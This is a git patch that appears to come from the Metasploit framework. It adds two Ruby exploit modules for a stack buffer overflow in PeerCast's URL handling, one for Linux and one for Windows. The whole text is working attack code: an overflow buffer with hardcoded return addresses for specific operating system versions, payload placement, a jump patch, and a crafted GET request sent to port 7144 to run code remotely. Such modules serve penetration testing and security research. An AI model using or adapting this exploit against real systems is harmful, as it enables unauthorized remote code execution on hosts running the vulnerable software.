From 86671cef8968c0c3ef330015e1f4002d7784d99a Mon Sep 17 00:00:00 2001
From: HD Moore <hd_moore@rapid7.com>
Date: Thu, 30 Mar 2006 21:05:42 +0000
Subject: [PATCH] PeerCast exploits

git-svn-id: file:///home/svn/incoming/trunk@3583 4d416f70-5f16-0410-b530-b9f4589650da
---
 modules/exploits/linux/http/peercast_url.rb   | 65 +++++++++++++++++
 modules/exploits/windows/http/peercast_url.rb | 69 +++++++++++++++++++
 2 files changed, 134 insertions(+)
 create mode 100644 modules/exploits/linux/http/peercast_url.rb
 create mode 100644 modules/exploits/windows/http/peercast_url.rb

diff --git a/modules/exploits/linux/http/peercast_url.rb b/modules/exploits/linux/http/peercast_url.rb
new file mode 100644
index 0000000000..22bbd9fd4a
--- /dev/null
+++ b/modules/exploits/linux/http/peercast_url.rb
@@ -0,0 +1,65 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Linux::Http::PeerCast_URL < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
+			'Description'    => %q{
+				This module exploits a stack overflow in PeerCast <= v0.1216. 
+				The vulnerability is caused due to a boundary error within the
+				handling of URL parameters.
+					
+			},
+			'Author'         => [ 'y0 [at] w00t-shell.net' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+	  				['OSVDB', '23777'],
+					['BID', '17040'],
+					['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
+
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'    => 200,
+					'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
+					'MinNops'  => 64,
+				},
+			'Platform'       => 'linux',
+			'Arch'           => ARCH_X86,
+			'Targets'        => 
+				[
+					['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
+				],
+			'DisclosureDate' => 'Mar 8 2006'))
+			
+			register_options( [ Opt::RPORT(7144) ], self.class )
+	end
+
+	def exploit
+		connect
+		
+		pat = Rex::Text.rand_text_alphanumeric(780)
+		pat << [target.ret].pack('V')
+		pat << payload.encoded
+
+		uri = '/stream/?' + pat
+		
+		res = "GET #{uri} HTTP/1.0\r\n\r\n"
+		
+		print_status("Trying target address 0x%.8x..." % target.ret)
+		sock.put(res)
+		
+		handler
+		disconnect
+	end
+
+end
+end	
diff --git a/modules/exploits/windows/http/peercast_url.rb b/modules/exploits/windows/http/peercast_url.rb
new file mode 100644
index 0000000000..43846acaee
--- /dev/null
+++ b/modules/exploits/windows/http/peercast_url.rb
@@ -0,0 +1,69 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Http::PeerCast_URL < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (win32)',
+			'Description'    => %q{
+				This module exploits a stack overflow in PeerCast <= v0.1216. 
+				The vulnerability is caused due to a boundary error within the
+				handling of URL parameters.
+					
+			},
+			'Author'         => [ 'H D Moore <hdm [at] metasploit.com>' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+	  				['OSVDB', '23777'],
+					['BID', '17040'],
+					['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
+
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'    => 400,
+					'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					['Windows 2000 English SP0-SP4', { 'Ret' => 0x75023360 }],
+					['Windows 2003 English SP0-SP1', { 'Ret' => 0x77d099e3 }],
+					['Windows XP English SP0/SP1',   { 'Ret' => 0x77dbfa2c }],
+					['Windows XP English SP0/SP2',   { 'Ret' => 0x77dc12b8 }],
+				],
+			'DisclosureDate' => 'Mar 8 2006'))
+			
+			register_options( [ Opt::RPORT(7144) ], self.class )
+	end
+
+	def exploit
+		connect
+		
+		pat = Rex::Text.rand_text_alphanumeric(1024)
+		pat[768, 4] = [target.ret].pack('V')
+		pat[812, 5] = [0xe9, -517].pack('CV')
+		pat[300, payload.encoded.length] = payload.encoded
+		
+		uri = '/stream/?' + pat
+		
+		res = "GET #{uri} HTTP/1.0\r\n\r\n"
+		
+		print_status("Trying target address 0x%.8x..." % target.ret)
+		sock.put(res)
+		sock.close
+		
+		handler
+		disconnect
+	end
+
+end
+end